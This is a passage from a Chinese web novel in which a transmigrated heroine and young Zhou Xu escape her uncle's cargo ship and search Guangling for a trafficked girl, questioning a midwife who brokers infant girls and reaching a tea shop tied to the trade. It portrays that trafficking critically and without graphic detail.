“男子汉一个,推一把就弱不经风了,真是好本事!”
“不许扶他!”
江洛洛咬咬唇,看着董绸苦大仇深的样子,真的想笑又觉得无奈,只得松开手。
氛围烘托到这里,她和周序就像一对苦命鸳鸯。
无奈,她向张贵投去求助的目光。
张贵悄悄朝她摆摆手,示意她别着急,随后出声劝到:“都是自己家的孩子,你就是满眼担心她们,才动这般大的火气,这船也开出十里路了,回头也不可能,支条小船将他们送走,你又能放心?”
“现在还好在自己眼皮子底下,你责也责过了,媛姐儿到底是姑娘家,人前要给晚辈一些面子的,我的好二爷。”
张贵和着稀泥,哄小孩子一般。
“媛姐儿性子,咱们都了解,那是这么不识轻重的人,想来这两个孩子躲到甲板里,定是遇到了什么十万火急的事,不如先问清楚。”
董绸听了张贵一通分析,脸色顿时好看了不少,也不再责骂了。
江洛洛心中大喜,还得是张贵叔靠谱,立马装作可怜,揉揉眼睛。
“二舅舅也不问事情原委,劈头盖脸就将我俩骂一顿,要不是事出紧急,我们怎么会做出这种狂悖的事情来。”
董绸看她一眼,叹口气,接着又剜了一眼周序:“那你说说到底出了什么事?”
于是江洛洛便从头到尾将文妹、李二牛、顾如鹰等事情原委一一道出。
董绸越听越惊,乍舌道:
“什么!那叫李二牛的畜生果真说是买通了董家帮的人,将少女绑了用我的货船拐去广陵的!竟有这样事!”
他认真思虑,端起茶杯抿了一口,一改最初的说教,担忧道:“顾如鹰人脉甚广,他认的消息几乎不会有错,但这么大的事儿,你也不同家中大人商量商量,还独自偷溜去广陵,也属实大胆了些!”
“就你细胳膊细腿,加上你身边这个一推就倒的人......”
江洛洛赶紧打岔:“舅舅,那些被卖的女孩子是从你道上走的,说明你手下的蛀虫已经泛滥了,你先别说我们了,好好查查人才是!”
“目前只知道从李二牛手上运走的,算上文妹十九个,这么多的数量,要做到掩人耳目,肯定是个有点小权利的人。”
董绸表示赞同:“媛姐儿说的在理,董家帮到扬州的船也就靠两个码头,一个在水西巷,那儿靠着闹市,一个在青山镇,那儿在广陵西北角,位置偏僻无人,若真是送女子做瘦马,定是不想让人察觉的,唯有管青山镇航道的人会做这种事了。”
张贵叔道:“说起女孩被强卖或失踪的事,我倒是听大爷提起过,苏州这两年,此类事件确实数量有所增加,但并未达到引起重视的程度。”
董绸一白眼,很是气恼的模样:“这怎么重视,我不用查都知道,这十九个女孩子,起码里面有一半是被自己亲生父母或送或卖的,再一半则是无父无母的孤儿,若当真是家中宝贝女儿失踪案,这样的数量,几家父母闹一闹,官府怎么不重视!”
“如今你俩较真了这件事,也是好的,那些女孩子可怜,一生被当作物件,做不得自己的主,能救一个是一个。”
“我马上书信一封给你母亲,让她别担心你,你和我一道卸完货就回苏州,那顾如鹰也是个有骨风的,这李二牛到他手里,不死也半残,他与大哥交好,应当也将风声传给了大哥,你俩就别管了,自有舅舅们。”
周序一听,哪能忍,小屁股一抬,江洛洛就知道他要放什么屁。
还好眼疾手快的江洛洛把他按住,眼神示意他,先装乖再说。<
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江洛洛:“舅舅说的是,有舅舅们插手,相信文妹定能平安无事的回来。”
平安无事刚脱口说出,江洛洛想起了「周序年少风流,曾在广陵因一与人结仇,其父得知便一棍子将那官妓打死」这句话来。
史书里短短一行字道尽那些少女能看见的结局,官妓若是文妹,惹出这样一条人命官司,他那恨不得要他命的继母,不知道怎么人前人后坑害他的。
书中所提,平南候和何月莲赶到苏州将周序提溜了回去,那周序一定是参与了这件事,可是史书上并无笔墨特意去记录这些少女结局到底如何。
货仓要点货,董绸和张贵忙去了,走时,董绸将船上住人的大屋子留给了江洛洛,周序被安排去了船头的掌舵室。
一般一个旗号的货船都有个头船领航,其余十几条首尾相连,连成长蛇,一起由头船牵去扬州,因此行程相对客船也会慢点。
除了头船,其余船只的掌舵室都是闲置的,小小一间,有一张单人床架的高高的,能睡觉也能当长凳。
周序拿着船工送来的干粮水壶,情绪有点不对劲。
江洛洛看出来了,从他说完那句对不起之后,一直有些不对劲,神情低落,到现在也不辩驳。
他道:“我去船头吹吹风。”
江洛洛拉住他:“船头风大,你风寒还没好,就别去寻死了,掌舵室也能看看风景,你把窗户开开稍微透透气就行。”
周序应着“好”,当真一个人去掌舵室坐了很久很久。
他从被发现,听了董绸一番话,态度两极变化,原本焦急不堪,现在却愁眉苦脸的。
时不时有船工绕到掌舵室那边,都瞧他一眼。
史书与小说不尽相同,小说里一个毫不起眼的配角,他的眉目神情可能都会用长长的段落来描绘。
可史书不一样,史书只记载大事,就连董绸、董绪、顾如鹰这样有头有脸的人物,最后可能也只是在百万字的长篇里出现个两三回。
这两三回,都算作青史留名了。
船上因要在水上有时要走好多天,因此一些常备的药物都是有的,且都是极好的。
他见周序状态不佳,恐他一番折腾又会发热,便去寻张贵叔,要了上等的风寒药物。
张贵叔远瞧着掌舵室那纹丝不动的身影,悄悄问道:“周家公子怎么了?我瞧着他一直就不大对劲,你二舅舅在那边说你的时候,半句也不辩解。”
江洛洛也不想多说,小声道:“怕是刚刚着急上船,没想到我跟了过来,被舅舅一唬,热血平复,可能有些懊悔了罢。”
张贵:“也是,年轻人好面子,想他是真的担心你,所以现在有些后怕,你去好好和他说说,凡是你大舅舅那边二舅舅这边都已有了个数,长辈们给你们兜着,没有他想的那么糟的。”
江洛洛微微颔首:“张叔说的有理。”
她看着孤零零的周序,心中有些波动,赶紧用炉上的开水,泡化药丸,走去了舵室。
见他还在想心思,轻声招呼:“周执言喝药了。”
他扭头见端着药碗来的江洛洛,肉眼可见的眼底更添愁思。
16.明明弟弟 偏叫哥哥
江洛洛将药端他手上,瞧他呆呆傻傻的,玩兴大起,俏皮道:“执言哥哥,是有什么心事?”
听到江洛洛喊他,周序接药碗的手,悬空一顿,抬眼看见她的笑颜,是少女芳华的纯粹。
他见过江洛洛曾对他弃如敝履,厌恶至深的模样,对比此刻,他有一瞬间的恍惚。
从来苏州的路上遇见她,她就好像态度大转变了,和他说话小心翼翼,有什么事都是站在自己这边,甚至察觉他不开心,会安慰。
他本以为自己将她卷进这次棘手的事情里,加之被自己舅舅责备了一通,她会抱怨他。
可她没有,仿佛她陪着自己做这些事时,是理所当然的。
他真的很怀疑,眼前的江洛洛,还是不是他认识的那个曾经病重在床,不得起身的江媛。
周序在深思,江洛洛以为他没听清,又拍了拍他肩膀打趣:“执言哥哥,再不喝药要凉了。”
周序回神,手一抖,撒了些汤药出来,将手背淋湿。
江洛洛也顾不得拿他开玩笑了,忙拿出帕子帮他擦掉药水。
后又催促了几声,等他规规矩矩的将药喝完,碗子搁置在一旁。
【叮】
系统:【温馨提示,检测到数值变化,主角好感度+1,当前主角好感度数值:12。】
惊喜来的这么突然吗?
她什么都没做啊,难道就因为叫了几句执言哥哥?
那这小子也太不经逗了。
一时间无话,江洛洛只好先打破局面:“刚刚舅舅说的事,你也别在意,他让我们跟他回头,我应承下来也不过是缓兵之计,你想啊,先稳住他,等到了广陵,咱们再悄悄溜上岸,谁会知道,到时候咱们直接去李二牛说的地方找文妹,肯定能找到的。”
“怕是没我们想的那么容易,那些人不知道会把人藏哪里去,现在又不知道文妹遭受着怎样的折磨。”
周序叹了一口气,看向窗外:“江小姐,你不知道‘瘦马’的背后是什么样的深渊,文妹若活着还好,若......”
他没说出来,或是不敢说。
逢大事,史书会带上三言两语,可微乎其微的小事,千百年之后只会淹没在尘埃里,不会有人再提及。
‘瘦马’是什么?素质教育并不会详细告诉你。
江洛洛开始想,那对于穿书过来的她,尽心尽责的帮周序,图什么呢?
只是为周序矫正三观,为他成为英雄做铺垫吗?
不知道为什么,江洛洛总觉得有一种力量在抓住她。
她突然觉得有点冷,胸腔被猛的一震,脑袋里想起书本里的一篇课文,叫做《这条小鱼在乎》!
她道:“我给你讲个故事吧!”
周序看着她,等她开口。
江洛洛:“很久以前,海边经过一场大浪,整个海滩都是被拍上来的小鱼,当时天气很热,小鱼如果没等到下一场浪,很快就会被晒死。”
“这时有个小男孩在偌大的海滩上捡小鱼,他将不厌其烦的将小鱼一条一条扔回海里。”
“有个爷爷看见就说他啦,爷爷说:孩子,这海滩上有成百上千条的小鱼,你捡不完的,这事做了没意义,快放弃吧。”
“小男孩说:‘我知道。’,那爷爷又问:那你为什么还捡呢?”
江洛洛在讲着故事,最后一句也在询问他。
少年懵懂,看着她,认真回答:“可能小男孩会说,我得对得起自己的良心。”
江洛洛摇摇头,淡淡道:“他说,这条小鱼在乎!这条也在乎!还有这条,这条......”
教育的滞后性在此刻仿佛完成了使命,戳中江洛洛心脏形成闭环。
她浑身寒毛颤栗,这段话说给周序,也在说给自己听。
她曾在想,这件事,她的力量微乎其微,能改变什么呢,能改变当下畸形的产业链吗,能改变男尊女卑的环境吗?
答案是肯定的,她不能!
可那又如何呢!
小男孩捡不完成百上千的小鱼,可这条小鱼在乎!
她看着周序豁然开明的眼神,默默道:“周执言,你只管做,没有为什么,只为那十九个女孩子在乎,在那些女孩子背后,有更多受其所害的女孩子,她们在乎!”
董绸以长辈的姿态告诉他们,这件事情他们碰不得,或许周序也动摇过,所以矛盾痛苦,无去无从。
世界上很多事明知不可为而为之事,没有目的,只凭己心!
现世,她经历了太多人情的冷漠,从自己被父母抛弃,被好朋友背叛讽刺,支零破碎的人际关系到现实价值观宣扬的......
放下助人情结,尊重他人命运。
她不知道自己什么时候开始,变成了一个冷漠的旁观者。
她想通了,她要与周序携手,成为并肩的战友,而不是什么系统安排的任务。
不得不承认,江洛洛的故事就这样自然而然的解开了他的心结和纠结,他开始重新审视眼前的女孩子。
周序回想他与江洛洛的相识,他有记忆的时候,江洛洛已经是一个大姐姐了。
儿时她常跟着江夫人来侯府找自己母亲,他母亲很少笑,只有知道江夫人要来时,会从一早就开始高兴,乐呵到江夫人走。
他虽然年纪小,但那个时候很期盼江夫人能来陪母亲说说话。
江洛洛跟着一道来,但总是安静的坐在一旁,看看书,喝喝茶,大约是嫌弃自己年纪小,从不与他讲话。
那个时候的江洛洛生的傲气,因自小被保护的很好,所以倒也谈不上坏,只是从不屑理他。‘
有时他怯生生的过去,江洛洛就偏过头去,不理睬他,后来他母亲走了,江夫人便没再来过,他也再没见过江洛洛。
心中愁思被一扫而光,好似有片羽毛轻轻扫了胸口两下,有些痒。
以前他从不会去看天,看鸟,看云朵,在偌大的侯府,母亲住的旧院子里,只忙着低头活着。
现在他与江洛洛看着同一片天空,紧紧束着他心脏的枷锁,突然松了下来。
他笑了,自己都没意识的,笑了起来。
江洛洛打量他,忽而笑起来:“周执言,你该多笑笑,多好看啊!”
洛洛笑完,踩上长塌,钻出掌舵室顶板上高高的天窗:“周执言,帮我搬个凳子来。”
周执言帮他放好凳子,她一脚蹬上,半个身子就从天窗冒了出来,江风吹拂,心旷神怡。
她低头见周执言专注的给她扶凳子,半分不肯松懈。
江洛洛:“周执言,还有个凳子,你也上来!”
周序抬头看她时,江洛洛眼神里有温暖的笑意。
有美一人,清扬婉兮。
少女明眸皓齿,他有些出神,江洛洛又喊:“周序!发什么愣,快上来看看!”
他忙登上凳子,钻出天窗,巧逢一行江鸟掠过,发出鸟鸣。
江洛洛张开双臂迎着风,一望无边的江面,空旷自由,她舒畅的呼吸:“天高任鸟飞,海阔凭鱼跃,爽!!”
周序侧目注视,正巧撞上江洛洛的目光,他好像做了亏心事一般想躲藏,江洛洛完全没在意他失礼的眼光。
只听少女清脆的呼声:“周序,你看,那只鸟好大!”
系统:【温馨提示,数值发生变化,主角好感度+1,总计13,请再接再厉!】
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江洛洛:“系统怎么回事,卡bug了!”
船行到第二日,稳稳靠上青山镇的码头,董绸特意嘱咐他俩就在船上呆着,晚点卸下货再把他们送回苏州去。
董绸还说,董绪已经书信至扬州知府,后面的事,他也做安排了,他们回去安心等消息。
江洛洛自然知道,这些都是大人的说辞,无非是想着法把他们骗回去。
江洛洛拉着周序:“等会大家搬货,舅舅点货,没人看住我们,我们就从那条小道溜走,你放机灵点!”
周序当然是开团秒跟,时机一成熟,他就配合打掩护,二人从第二艘船往后跑,到第五艘船上,直到远离了董绸的视线,慌忙挑了条小路,朝岸上奔去。
江洛洛和他绕着镇子走了一个多时辰,用舅舅给的碎银子叫了个牛车才到了广陵城闹街上。
广陵水路发达,处于江南中间地带,算是正儿八经的交通枢纽中心,城中繁华热闹,烟火缭缭,已近日落了。
她先带着周序去钱庄换了钱,银票加碎银三百二十,他给了周序一百两傍身,其他的自己收进了荷包。
起初周序自然是推辞,可她解释,说鸡蛋不能放在一个篮子里,万一她弄丢了,他还有个保底,才肯收下。
据李二牛说,他卖给了教坊司一个吴姓的教娘,具体文妹的去向,他不知晓。
那现在只能先打听打听这个吴教娘在哪里了。
一路走过来,周序的脑子也冷静了不少。
他这一次没有急匆匆的要冲去教坊司找人,而是听了江洛洛的话,找了一家还不错的客栈先住了下来。
说是省钱找个能凑合的,江洛洛还是一眼相中了最高最漂亮的那栋樊楼。
周序去了柜台,温声:“掌柜的,麻烦给我们两间天字号的房,要安静点的位置。”
掌柜眼瞧着周序一身价值不菲的烟雨罗衣,立马客客气气道:“好勒,公子稍等。”
他刚要转身去拿钥匙,江洛洛忙喊住:“掌柜的,不用两间,给我一间最大的,里面有两张床的就行,我和我家弟一间!”
虽然有种开房的既视感,但是江洛洛还是厚着脸皮提出让周序下巴掉到地上的要求。
没办法啊,她胆子小,黑灯瞎火的古代,她不敢一个人睡啊。
“这......这不合规矩,你太胡闹了!”周序着急阻拦,一脸抗拒的看着她。
江洛洛有些不好意思,但只能硬着头皮笑卖笑哄道:“你听我说,姐姐不是想占你便宜,而是这里人生地不熟的,我一个人住有点害怕,真的!你要相信我!”
掌柜的也很懂事,这样的情况也是见多了,默默等他们决定。
“可是......”周序犹豫不决,一副很为难的样子。
江洛洛:你一个男的在为难什么啊!
江洛洛无法,拉他到一旁,小声凑上他耳朵:“我知道,我知道你为难,但是你先别管之乎者也,男女授受不亲了,我这个要求听起来大逆不道了些,但是都到广陵了,也没人知道我们是谁,我们以姐弟相称,别人不会怀疑,也能少很多麻烦不是!”
一番苦口婆心,周序终于很不情愿的来了一句:“好吧!”
江洛洛松下一口气。
周序:“那......”
“我不想做弟弟,反正都假扮了,不如你叫我哥哥!”
......
这小子!江洛洛真是瞎了狗眼了,没瞧出来,老实温吞的面孔下,这么闷骚呢!
掌柜张望着这边等消息,有些不耐烦了。
江洛洛心一横!
“行!哥哥!哥哥!行吧!”
17.共骑一乘 睁眼瞎编
晚间吃饭的不多,她们与小二聊了大半天,也没得出什么有用的线索,甚至吴教娘的名号可能也是假的。
江日暮:“咱们要不要直接去教坊司问问?”
周序摆手:“教坊司不是宴春楼,普通人是不给进的,我们没脸面直接去找,势必碰一鼻子。”
他想了想:“还不如明早到乡下打探打探,卖女儿这种事,街坊邻居大都知道,从源头问问或许比去教坊司更有效果。”
樊楼晚上有戏班子,喝茶看戏的人渐渐多了起来,周序显然并不喜欢这样的热闹,吃完饭便喊她早早回了房间。
快进门时,周序动作有些扭扭捏捏,江日暮看出他的不自然,直接上前推开了门。
相处到现在,算算时间也有两月左右了,大家对各自的人品还是有个基础认知的,虽不明说但都守着分寸。
天气炎热,小二送来水,江日暮便先进去洗澡,周序便在门外等着。
江日暮洗完,周序再进去,她便在门外等着,还挺和谐。
二十两一晚的上房,房间极大,桌椅陈设,两张床被一扇镂空木栅隔着,一间在里,一间在外,木栅还挂上了幔帘,保护隐私的同时,两个床不远也保证了安全感。
楼下唱戏,鼓声震天,虽然他们房间在最里面,但依稀能听到有节奏的咿咿呀呀。
虽然各自睡下了,但逃跑后的余悸开始爬上心头,江日暮的大脑紧绷着,毫无睡意。
她敲敲床铺旁的木栅,小声试探:“周执言,你能睡着不,咱们要不出去转转?”
听见周序翻身的动作,过了一会儿,木栅发出清脆的“咚咚”两声。
“我好了,走吧!”
江日暮一震,这么有效率的嘛!
她立马穿鞋下床,周序已经在门口等着了:“咱们可以先去教坊司晃一圈。”
江日暮:“然后再去偏僻的乡下看看?”
周序道:“下乡不必了,现在的农户大多睡了,也打探不到什么,明早直接寻个农田,地方大,人又稀,说起话来也方便的多。”
江日暮:“行。”
天色真是晚了,纵是热闹的街心,此刻人流也稀稀拉拉,教坊司灯亮着,门却关着,只好无功而返。
江日暮没走多远,挑了挑小摊子,买了两个手工小玩意儿,觉得实在无聊。
她捶捶腿,苦逼道:“还是回去吧,感觉也没啥好逛的,我现在有点累了,腿子好像不受控制了。”
她正绝望看着他,却见他身后有人牵马而行,瞬间灵机一动,问道:“明早咱们要不要买匹马,靠腿走,感觉腿会断了。”
周序生活比较勤俭,本以为他会拒绝,没想到他表示赞同道:“是个好主意。”
“真的?”
周序:“这样一来咱们不仅节约了很多时间,如果后面遇到什么情况,也可用来逃跑。”
江日暮欢呼的原地转圈。
很快,她立志占据,买车得有驾驶证呐。
江日暮问:“你会骑马吗?”
周序笑道:“儿时与祖父练过,碰巧在董府时,武学老师也让跑了几天,只要不是上战场,正常骑马再载个你没有太大的问题。”
“那太好了!”
女主心情大爽,为明日不用靠双腿步行而跳跃着。
说真的,今天她的行程,若有计步器,怕是能摇到3万步以上。
“那咱们快回去休息吧,早睡早起。”
周序第一次觉得女孩子真是个翻来覆去的性格,先是被被莫名其妙喊出来转转,转累了又抱怨,转头没多久又因买了马,高兴的要回去。
晚间熄了灯,江日暮看着黑黑的房间,还是有些胆颤。
她轻喊道:“周执言?”
周序:“嗯。”
她又喊:“周执言,你困了吗?”
周序:“嗯,还好。”
片刻:“周执言?”
周序:“嗯,我在。”
周序看着窗外那轮明月,弯如长弓,不知过了多久,隔间传来平稳的呼吸声,他料着江日暮该是睡了,慢慢的也进入了梦乡。
天擦亮,江日暮就醒了,他们先去马行挑了匹马。
江日暮在前,周序在后控着缰绳。
这样的位置在古代虽然很常见,但她总觉着有些别扭,这不是热恋情侣骑电驴摩托的标准化坐姿嘛!
她没想到,有生之年以一次坐在别人怀里,还是个她毫无非分之想的!
颠了半日的屁股,总算在田头逮着一个老大爷在浇菜水了。
周序翻身下马,步履矫健,急冲冲奔去。
江日暮这边就没那么乐观了,因为两条腿悬在马肚子旁悬麻了,她马双腿打软,歇了一阵才好些。
周序温和笑道:“大爷跟你打听个事儿呗。”
大爷很是热情,停了动作:“小伙子,京州人吧,你这口音,我一听就听出来了,你说说,要打听什么事儿。”
“大爷,您先接着喝茶。”
周序不语,上前就塞了一颗一两碎银子给大爷。
都说礼多人不怪,大爷接过小碎银时,那小眼神都不一样了,从一开始的客套热情,到现在恨不得搂着周序叫爷爷,忙丢了水瓢:“小伙子,你说来听听,要打听什么事。”
这两极反转的,果然钱能解决世界上99%的问题,解决不了的,那就是因为钱没到位。
周序唉声叹气,懊恼道:“说起来倒有点不好意思的。”
大爷急了:“小伙子,你有啥就说,有什么不好意思的,大爷这年岁,什么没听过。”
周序假意悲叹不已:“说起来算是家丑,我有个弟弟,先天底子不好,今年不过十岁冒头就害了痨病,吃药看病,就连名字都改了也没个大用,我母亲成宿的哭啊,一日遇见个高僧,活佛说他命里带煞,今生命苦是前世因果报应,说他前世就是孤鬼,这辈子投了富贵人家受不住贵气,这辈子需给他配个清苦人家的女子,再成了婚才能改命。”
江日暮很佩服周序煞有介事的捣鼓,一通牛鬼蛇神的瞎编,那大爷越听越信,最后两个人一起长吁短叹。
大爷听进去了,着急道:“这可咋好,你这弟弟才十岁 ,如何配的了婚?”
周序:“便是这话了,配不配得了再说,那僧就让我娘去穷苦人家借借地气,寻个命不好的与我弟弟年岁相当的姑娘回来,压压贵气,也算帮那姑娘过上富贵日子,当积德了罢。”
大爷:“你道这么说,是该来乡下找。”
周序愁眉:“原本是该在京州找了,可又怕十岁的女孩子记事,哪日跑回家断了我弟的命数,我便顺舟南下碰碰运气,这不就来了
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广陵,大爷,您可知道庄上有哪家有闺女的,家里又揭不开锅的人家,我好去谈谈,钱也不是问题。”
“我母亲没有女儿,要是能带个回去,必是千好万好啊。”
大爷想了想,双手拍上大腿:“小伙子你来的不巧,上个月咱们这有个赌鬼刚卖了个十三岁的女儿,那孩子到底还生的水灵,就是不知道卖去了哪里,可怜可惜啊。”
他四下看看道:“卖女儿的,几乎都是家里男人没个大用的,咱们庄子有个王稳婆,专做中间人帮那些不要女儿的人家找路子,你倒是去能问问。”
江日暮听他一说,醒悟过来。
稳婆这个职业,天然掌握了庄子上所有小孩的信息,包括每个小孩的家庭情况,要是能搭上这根线,那顺着她找到上线对接人,女孩子们被卖的去向也就有数了。
聊扯了半天,至少他们得到了一个有用的消息,若这稳婆不行,便去找其他地方的稳婆,广陵就这么大,这些女子要做瘦马培养,能搞成这种产业的地方也就一两个,总有一个身上一身骚,闻的出味道。
周序去找稳婆的路上,对江日暮道:“咱们留心点,这些稳婆一般都是中间商,自己半个身子在泥水里,直接问想必问不出什么东西。”
江日暮跟着点头,说真的,能爬到首辅位置的人,智商都不是玩儿的。
这一路,她跟在后面尽心尽力支持,真的就是纯支持,一点不需要动脑子。
这个人逻辑清楚,按点分析,精准找到突破口,一个十四岁的少年做这样的事,一点不慌张,一副心中自有城府的感觉,她简直就像个陪跑的。
虽然知道城中风月场所就那么几个,无非青楼教坊一类,可明目张胆的打探,怕是睡那里,都不一定知道这些女子真正的去处,这种隐蔽又私人的培养,大多谨慎又谨慎。
周序道:“等到稳婆那边,咱们还是这套说辞,不能打草惊蛇,咱两算外地人,容易让人起戒心,要尽量自然又自然,对外以兄妹相称,不能出了纰漏。”
江日暮:“好的!”
照着那大爷的指引,往北走了三里路,寻到了王稳婆的住处。
还没待他们进院子问,就有一个婆子从他们面前大喊大叫的跑过去,扑开了王稳婆的院门。
婆子一进院子就火急火燎喊叫:“王大姐,王大姐,快去看看我儿媳吧,从昨晚就开始痛了,到今天早上了还没生出来,再不接生,就怕累的没气了。”
正中小屋里,正在吃饭的王稳婆放下碗,神色淡淡。她不紧不慢起身朝那着急的婆子道:“不要急,女人生孩子怎么都要多疼疼的,有的是人疼个一天一夜的,慌什么!”
她擦了嘴慢悠悠出门,却被那婆子使力气往外推。
瞧见门口站着的周序和江日暮,她问道:“二位找谁?”
二人来不及回答,稳婆就被婆子推向前了。
周序赶紧拉上江日暮跟着:“倒是有些事来向您打听打听的。”
王稳婆一脸警觉:“打听什么事,你们两个外乡人怎么找到我这里了。”
王稳婆刚说完婆子就打断道:“小公子,先别说旁的事了,我儿媳生孩子是在闯鬼门关,先让王大姐把我家这胎接生了,你们再慢慢细聊。”
周序应道:“好,我们先跟着你一道去,等忙完了,咱们再慢慢细说。”
18.先见稳婆 再进茶铺
一路快走,绕穿了两个村巷,才到了那婆子家,只在巷口就听见不远处的屋子里传来女子叫喊呻吟。
一扇院门打开,一男子焦急盼望着,见了王稳婆忙来请。
男子急道:“王大姐,快些救救我儿子的命吧,已经见着头了。”
一听这话,稳婆匆忙往屋里走,片刻后,有人来往送热水毛巾,有人进出泼血水,洗毛巾。
约一两个时辰过去,屋子里传来响亮的孩子啼哭声。
再一会儿稳婆就与婆子走了出来,一改刚刚焦急担忧,婆子像是换了个嘴脸,口中骂骂咧咧嫌弃着:“又是个不带把儿的,这都第几个了?这都第三个了,前两次送了两个走,这次又没捞着个孙子,造孽啊,不争气的肚子。”
王稳婆也是见惯了,应道:“你看,这个孩子你留还是不留?你要留着,我便家去了,你要不留,我便付你个定金,等孩子过了头三个月我来抱走,各自安生,再不过问。”
婆子摆摆手,不住抱怨:“抱走,抱走,个赔钱货,要来做什么?家中哪有余粮供她这一口,女娃娃不过一场泼出去的水,现在送人和长大了送人,不都一样的,不要,不要,卖了罢!”
江日暮听见了,实在没忍住,对婆子的厌恶毫不掩藏:“毛病吧,那婆子真不要脸,刚生下来的娃娃就卖,当刚出锅的烧饼呢,真特娘的畜牲,老妖婆,臭三八!”
周序瞧着身后穿的周正又端淑的江日暮,听她一口一个粗口已然是被震惊了,怕自己的异样被察觉,他无意戳戳自己的鼻子偏过头扬起嘴角,忍笑了一会儿,才正色。
周序无奈道:“在乡下,送女儿的属实常见,有不愿意养了扔在别人家门口的,有掐死扔茅房河里的,像这种还能卖点钱的,对他们来说都求之不得了。”
江日暮更火了,咿咿呀呀的作骂:“臭不要脸!这女娃娃到这王稳婆手里能落什么好下场,怎么办,周执言,我们去买回来吧!她出几两,咱们就出双倍!”
江日暮一上头,满脑子计划着怎么买孩子带回去养,全然没注意周序的情绪变化,他先觉得江日暮骂人有点好笑,见她真着急又开始重视起来,现在她直接提出要买个小孩回去。
他认真思虑起来,毕竟这不是小事,他两还有事要做,此刻不是冲动的时候。
他道:“既然撞见了,这个女娃娃就和我们有缘份,王稳婆说了三个月后才来抱,为了钱,他们不会对孩子怎么样的,我们等找到文妹,再来商议,你放心,我答应你的,一定做到。”
想他说的有道理,江日暮不在多言。
里面事完,王稳婆走时同婆子道:“说好了,还是五两银子,我预付给你二两,等过三个月后我再给你三两,便算交割清楚,互不再提。”
说罢转头就见周序江日暮二人还在等着,打量一眼,见二人颇有气度,态度放缓些问道:“公子小姐打哪里来的,有什么事要朝我这个乡野老婆子打听?”
亦知这老婆子是个看人下菜碟的,周序拉高姿态,语气却柔:
“我们来自京州,只告诉你身份不凡,至于主子名号不便细说,我家主子想在江南这边买个十岁上下的女娃娃回去,为自己那体弱的孙儿积德,过两年再为王府冲个喜,解解煞气,正巧我们来了这庄子,随处一打听,便得了您老人家的名号,想来叨烦,还请您帮帮我们,我们也好回去跟主子交差。”
接着一锭二十两的银子,周序塞到了她手上。
王稳婆掂量着银钱,又听周序一口京州口音,再见江日暮发簪通体上等玉料,一看便是官宦人家才有的好东西,心下已然信了八九分。
她左环右顾悄声道:“公子真是好运气,论买丫头,您还真是找对人了,这十里八乡还有谁能比我这个稳婆知道的细,但实不相瞒,你要说三岁以内的小娃娃,倒是有的出,你说要找个十来岁的,那是真难,非得去凑上个赌鬼酒鬼还不起债的,不得已卖女儿的,才好商议。”
周序佯装苦闷抑郁:“这可咋好,都说广陵的姑娘水灵有福气,王大姐万要帮帮忙,帮我通通路,看看哪里有现成丫头卖的,我好歹带个回去交差啊。”
王稳婆思虑片刻,鬼鬼祟祟道:“我告诉你了,你可不能到处说去......”
周序忙作势点头,躬身拉近了二人距离。
王稳婆低声道:“我王婆子既得了你的好处,自然不会让你无功而返,你外地来的不知广陵风气,现下城中富商养妾成风也算不得多隐秘的事,许多小丫头都被团起来,好为日后服侍显贵学傍身的技艺,广陵城东的水西巷码头那儿有个陈记茶铺,你只装做有钱富商,说是王稳婆荐来的,再说你要买年纪小的不曾调教过的丫头,他必然带你相看的。”
说罢,笑的奸猾,捏着银子走了。
陈记茶铺位置不好找,江日暮跟着周序,周序牵着马在水西巷绕了许久终于看见了一张写着陈记茶铺的招旗。
本以为会是个多大的店,没想到门仅双人宽,门内不是大堂,而是步梯,需爬上两层才能到二楼喝茶。
江日暮并不算熟悉古代生存规则,从上船到现在,她像个人机跟着。
周序正专注看二楼的陈记茶铺,江日暮无聊观察着人往和小商贩,她突然看到一个卖栀子花的老奶奶很眼熟,盯着她半天脑海不停回忆,终于她想起来了。
正是昨晚在教坊司门口的那个卖小手工的老奶奶,她再一看门,奶奶身后是果然是教坊司的后院,后院紧闭的小门与陈记茶楼相对。
江日暮再迟钝,心中也咯噔一声,暗道:“不是吧,这么巧!”
她立马拉了拉周序,周序顺她眼神看去,也是目光一沉:“看来那李二牛没乱说,果真文妹去向离不了教坊司,这教坊司白天晚上都关着门,看来没个身份进不去,还好昨晚没有打草惊蛇,咱们先去茶铺看看。”
作为被各种电视剧,小说,短视频洗礼过的现世人,江日暮有种预感,她好像快接触到这条任务线的核心区了。
当然......仅仅只是她毫无根据的预感。
她实在不知道怎么帮助周序助推剧情,除了卖掉自己的首饰花点小钱让他们在广陵不至于寸步难行外,好像什么点子都出不了。
二楼上是几个顺连商铺打通了的,一进门是四张方桌用来客座,柜台摆放在最里面,柜台旁有各小布袋装着的新鲜茶叶用来出样,看来是主营茶叶的铺子,带着喝喝茶水。
柜台里站的男子穿的相对规矩,简单利索的回字纹豆青长衫,看起来是老板,正在指教店里伙计认各种茶叶。
堂里喝茶的客人零星几位,都是些文人模样,举止文雅。
周序上前:“这位想必是陈老板。”
老板见有客来立马堆上笑,应声:“公子好,公子是喝茶还是买茶?”
周序笑道:“买茶也喝茶。”
陈老板:“好,好,那
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公子来看看,是偏口味香醇呢还是苦涩呢?”
周序看着茶叶考虑:“我平常喝茶不算多,不适应苦口的,你给我介绍两种清香偏淡些的就好。”
陈老板让伙计去忙,刚给伙计讲解的茶叶正好铺开在柜台上:“公子,您看,这七样茶颜色不一,依次为白毫银针,铁观音,正山小种,西湖龙井......”
吧啦吧啦,老板讲了片刻开始推销。
陈老板:“其实啊,就算您不说,我也会给您推荐清爽的茶叶,我与茶打交道二十年,什么样的人爱什么样的口味我大致都能分辨,爱苦涩的多是年纪大些的,茶龄老些的,您年纪轻轻,看起来过的顺风顺水,想来也不爱苦茶。”
“我建议您买白毫银针,西湖龙井这两款,只用大半开的山泉水冲泡,减少投茶量、避免闷泡,口感必是舒服的,品茶的乐趣也正是自己冲泡的手艺了。”
周序极有耐心的听完,回身问正在出神的江日暮:“妹妹看,你喜欢哪种,咱们多买些回去?”
“妹妹。”
“妹妹......”
江日暮微怔,才意识到周序在喊自己,他们之前说人前就兄妹相称的,那家伙不做弟弟,可不是喊她妹妹嘛。
关键,他什么时候喊自己这么自然了,之前不还是一口一个礼貌客气的江小姐嘛。
周序的脸白净文气,眼尾天然带着些许下垂的弧度,此时正弯着眼笑看她:“妹妹,挑挑,咱们买个十两银子的先回去试试。”
江日暮回神:“那就白毫银针吧,名字好听,颜色好看,我喝了许多茶,也就这款最好入口。”
陈老板是个鬼精的,不等周序应,忙接过江日暮的话:“姑娘好品味,我这几就给您包个十两,就挑咱们这里最顶尖的品质。”
陈老板动作麻利,油纸摊开,三下五除二就包扎了递过来。
周序在拿出两锭十两银子,交给陈老板。
